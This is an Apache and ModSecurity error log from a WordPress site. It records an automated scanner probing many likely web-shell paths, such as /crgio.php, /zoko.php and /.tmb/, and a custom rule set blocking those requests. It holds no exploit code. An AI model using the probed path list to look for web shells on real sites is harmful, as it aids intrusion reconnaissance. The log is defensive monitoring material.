[Tue May 19 03:55:50.536176 2026] [:error] [pid 34691:tid 34775] [client 172.173.117.54:65168] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-block.php"] [unique_id "agtuxoGYsOBD9bWkFnTjWwAAAI0"]
[Tue May 19 03:55:55.794097 2026] [:error] [pid 34691:tid 34764] [client 172.173.117.54:64409] [client 172.173.117.54] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/ID3/about.php"] [unique_id "agtuy4GYsOBD9bWkFnTjYQAAAII"]
[Tue May 19 03:56:00.758602 2026] [autoindex:error] [pid 34689:tid 34710] [client 172.173.117.54:64433] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue May 19 03:56:01.997119 2026] [autoindex:error] [pid 34689:tid 34717] [client 172.173.117.54:64433] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/css/colors/modern/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue May 19 03:56:02.188470 2026] [autoindex:error] [pid 34689:tid 34719] [client 172.173.117.54:64433] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/js/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue May 19 03:56:04.503130 2026] [:error] [pid 34689:tid 34706] [client 172.173.117.54:64433] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/crgio.php"] [unique_id "agtu1JWxMX-BooBZ30HAsgAAAAo"]
[Tue May 19 03:56:04.959001 2026] [:error] [pid 34691:tid 34768] [client 172.173.117.54:62869] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/crgio.php"] [unique_id "agtu1IGYsOBD9bWkFnTjZQAAAIY"]
[Tue May 19 03:56:05.389925 2026] [:error] [pid 34810:tid 34812] [client 172.173.117.54:62965] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/crgio.php"] [unique_id "agtu1XLwdc8JcvxViQXw9gAAAMA"]
[Tue May 19 03:56:05.765827 2026] [:error] [pid 34691:tid 34773] [client 172.173.117.54:62975] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/crgio.php"] [unique_id "agtu1YGYsOBD9bWkFnTjZgAAAIs"]
[Tue May 19 03:56:06.192479 2026] [:error] [pid 34691:tid 34786] [client 172.173.117.54:65220] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/geforce.php"] [unique_id "agtu1oGYsOBD9bWkFnTjZwAAAJg"]
[Tue May 19 03:56:06.569717 2026] [:error] [pid 34691:tid 34774] [client 172.173.117.54:59878] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/geforce.php"] [unique_id "agtu1oGYsOBD9bWkFnTjaAAAAIw"]
[Tue May 19 03:56:06.952842 2026] [:error] [pid 34810:tid 34835] [client 172.173.117.54:61556] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/geforce.php"] [unique_id "agtu1nLwdc8JcvxViQXw-gAAANc"]
[Tue May 19 03:56:07.415541 2026] [:error] [pid 34691:tid 34775] [client 172.173.117.54:59333] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/geforce.php"] [unique_id "agtu14GYsOBD9bWkFnTjawAAAI0"]
[Tue May 19 03:56:07.880402 2026] [:error] [pid 34810:tid 34816] [client 172.173.117.54:61447] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-load.php"] [unique_id "agtu13Lwdc8JcvxViQXw-wAAAMQ"]
[Tue May 19 03:56:08.451609 2026] [:error] [pid 34810:tid 34815] [client 172.173.117.54:59866] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-load.php"] [unique_id "agtu2HLwdc8JcvxViQXw_AAAAMM"]
[Tue May 19 03:56:08.836902 2026] [:error] [pid 34690:tid 34753] [client 172.173.117.54:62922] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-load.php"] [unique_id "agtu2IQwnq2meDg4FYnhdgAAAFI"]
[Tue May 19 03:56:09.312487 2026] [:error] [pid 34810:tid 34821] [client 172.173.117.54:62879] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-load.php"] [unique_id "agtu2XLwdc8JcvxViQXw_QAAAMk"]
[Tue May 19 03:56:09.704273 2026] [:error] [pid 34690:tid 34743] [client 172.173.117.54:64480] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/3PJcpMFsD8B.php"] [unique_id "agtu2YQwnq2meDg4FYnhdwAAAEg"]
[Tue May 19 03:56:10.087692 2026] [:error] [pid 34810:tid 34829] [client 172.173.117.54:62938] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/3PJcpMFsD8B.php"] [unique_id "agtu2nLwdc8JcvxViQXw_gAAANE"]
[Tue May 19 03:56:10.516502 2026] [:error] [pid 34690:tid 34757] [client 172.173.117.54:59340] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/3PJcpMFsD8B.php"] [unique_id "agtu2oQwnq2meDg4FYnheAAAAFY"]
[Tue May 19 03:56:10.943017 2026] [:error] [pid 34810:tid 34831] [client 172.173.117.54:62925] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/3PJcpMFsD8B.php"] [unique_id "agtu2nLwdc8JcvxViQXxAAAAANM"]
[Tue May 19 03:56:11.414885 2026] [:error] [pid 34690:tid 34748] [client 172.173.117.54:59900] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/UsbXax.php"] [unique_id "agtu24Qwnq2meDg4FYnheQAAAE0"]
[Tue May 19 03:56:11.804310 2026] [:error] [pid 34690:tid 34747] [client 172.173.117.54:64509] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/UsbXax.php"] [unique_id "agtu24Qwnq2meDg4FYnhegAAAEw"]
[Tue May 19 03:56:12.255827 2026] [:error] [pid 34690:tid 34755] [client 172.173.117.54:61523] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/UsbXax.php"] [unique_id "agtu3IQwnq2meDg4FYnhewAAAFQ"]
[Tue May 19 03:56:12.657171 2026] [:error] [pid 34810:tid 34820] [client 172.173.117.54:65209] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/UsbXax.php"] [unique_id "agtu3HLwdc8JcvxViQXxAQAAAMg"]
[Tue May 19 03:56:13.061388 2026] [:error] [pid 34810:tid 34823] [client 172.173.117.54:65255] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/zoko.php"] [unique_id "agtu3XLwdc8JcvxViQXxAgAAAMs"]
[Tue May 19 03:56:13.522980 2026] [:error] [pid 34810:tid 34836] [client 172.173.117.54:62904] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/zoko.php"] [unique_id "agtu3XLwdc8JcvxViQXxBAAAANg"]
[Tue May 19 03:56:14.039156 2026] [:error] [pid 34691:tid 34766] [client 172.173.117.54:64437] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/zoko.php"] [unique_id "agtu3oGYsOBD9bWkFnTjdgAAAIQ"]
[Tue May 19 03:56:14.419617 2026] [:error] [pid 34691:tid 34768] [client 172.173.117.54:64473] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/zoko.php"] [unique_id "agtu3oGYsOBD9bWkFnTjdwAAAIY"]
[Tue May 19 03:56:14.875770 2026] [:error] [pid 34689:tid 34697] [client 172.173.117.54:61470] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/pucci.php"] [unique_id "agtu3pWxMX-BooBZ30HAuAAAAAE"]
[Tue May 19 03:56:15.297495 2026] [:error] [pid 34810:tid 34824] [client 172.173.117.54:62959] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/pucci.php"] [unique_id "agtu33Lwdc8JcvxViQXxBwAAAMw"]
[Tue May 19 03:56:15.764056 2026] [:error] [pid 34810:tid 34822] [client 172.173.117.54:62972] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/pucci.php"] [unique_id "agtu33Lwdc8JcvxViQXxCAAAAMo"]
[Tue May 19 03:56:16.178347 2026] [:error] [pid 34689:tid 34696] [client 172.173.117.54:59813] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/pucci.php"] [unique_id "agtu4JWxMX-BooBZ30HAuQAAAAA"]
[Tue May 19 03:56:16.583887 2026] [:error] [pid 34689:tid 34699] [client 172.173.117.54:64478] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/blocks/details/"] [unique_id "agtu4JWxMX-BooBZ30HAugAAAAM"]
[Tue May 19 03:56:17.041279 2026] [:error] [pid 34810:tid 34817] [client 172.173.117.54:62935] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/blocks/details/"] [unique_id "agtu4XLwdc8JcvxViQXxCQAAAMU"]
[Tue May 19 03:56:17.454436 2026] [:error] [pid 34689:tid 34712] [client 172.173.117.54:64489] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/blocks/details/"] [unique_id "agtu4ZWxMX-BooBZ30HAuwAAABA"]
[Tue May 19 03:56:17.831684 2026] [:error] [pid 34689:tid 34717] [client 172.173.117.54:62919] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/blocks/details/"] [unique_id "agtu4ZWxMX-BooBZ30HAvAAAABU"]
[Tue May 19 03:56:18.234276 2026] [:error] [pid 34689:tid 34698] [client 172.173.117.54:64403] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/.dj/index.php"] [unique_id "agtu4pWxMX-BooBZ30HAvgAAAAI"]
[Tue May 19 03:56:18.608295 2026] [:error] [pid 34689:tid 34714] [client 172.173.117.54:62898] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/.dj/index.php"] [unique_id "agtu4pWxMX-BooBZ30HAvwAAABI"]
[Tue May 19 03:56:19.039508 2026] [:error] [pid 34689:tid 34720] [client 172.173.117.54:62911] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/.dj/index.php"] [unique_id "agtu45WxMX-BooBZ30HAwQAAABg"]
[Tue May 19 03:56:19.464228 2026] [:error] [pid 34689:tid 34705] [client 172.173.117.54:65213] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/.dj/index.php"] [unique_id "agtu45WxMX-BooBZ30HAwgAAAAk"]
[Tue May 19 03:56:19.848134 2026] [:error] [pid 34689:tid 34704] [client 172.173.117.54:62886] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/blocks/audio/"] [unique_id "agtu45WxMX-BooBZ30HAxQAAAAg"]
[Tue May 19 03:56:20.259287 2026] [:error] [pid 34689:tid 34711] [client 172.173.117.54:65270] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/blocks/audio/"] [unique_id "agtu5JWxMX-BooBZ30HAxwAAAA8"]
[Tue May 19 03:56:20.671242 2026] [:error] [pid 34689:tid 34709] [client 172.173.117.54:64400] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/blocks/audio/"] [unique_id "agtu5JWxMX-BooBZ30HAyQAAAA0"]
[Tue May 19 03:56:21.048839 2026] [:error] [pid 34691:tid 34769] [client 172.173.117.54:64442] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/blocks/audio/"] [unique_id "agtu5YGYsOBD9bWkFnTjegAAAIc"]
[Tue May 19 03:56:21.586621 2026] [:error] [pid 34691:tid 34764] [client 172.173.117.54:65214] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/.tmb/"] [unique_id "agtu5YGYsOBD9bWkFnTjewAAAII"]
[Tue May 19 03:56:22.079579 2026] [:error] [pid 34810:tid 34819] [client 172.173.117.54:62971] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/.tmb/"] [unique_id "agtu5nLwdc8JcvxViQXxCwAAAMc"]
[Tue May 19 03:56:22.463202 2026] [:error] [pid 34810:tid 34833] [client 172.173.117.54:62969] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/.tmb/"] [unique_id "agtu5nLwdc8JcvxViQXxDAAAANU"]
[Tue May 19 03:56:22.920128 2026] [:error] [pid 34810:tid 34835] [client 172.173.117.54:64394] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/.tmb/"] [unique_id "agtu5nLwdc8JcvxViQXxDQAAANc"]
[Tue May 19 03:56:23.349217 2026] [:error] [pid 34810:tid 34821] [client 172.173.117.54:59884] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/one.php"] [unique_id "agtu53Lwdc8JcvxViQXxDgAAAMk"]
[Tue May 19 03:56:23.786473 2026] [:error] [pid 34690:tid 34742] [client 172.173.117.54:61483] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/one.php"] [unique_id "agtu54Qwnq2meDg4FYnhgQAAAEc"]
[Tue May 19 03:56:24.398435 2026] [:error] [pid 34810:tid 34831] [client 172.173.117.54:65156] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/one.php"] [unique_id "agtu6HLwdc8JcvxViQXxDwAAANM"]
[Tue May 19 03:56:24.777000 2026] [:error] [pid 34690:tid 34746] [client 172.173.117.54:65190] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/one.php"] [unique_id "agtu6IQwnq2meDg4FYnhggAAAEs"]
[Tue May 19 03:56:25.338122 2026] [:error] [pid 34810:tid 34827] [client 172.173.117.54:65193] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sl.php"] [unique_id "agtu6XLwdc8JcvxViQXxEgAAAM8"]
[Tue May 19 03:56:25.844363 2026] [:error] [pid 34691:tid 34779] [client 172.173.117.54:65279] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sl.php"] [unique_id "agtu6YGYsOBD9bWkFnTjfAAAAJE"]
[Tue May 19 03:56:26.316225 2026] [:error] [pid 34810:tid 34820] [client 172.173.117.54:64404] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sl.php"] [unique_id "agtu6nLwdc8JcvxViQXxFgAAAMg"]
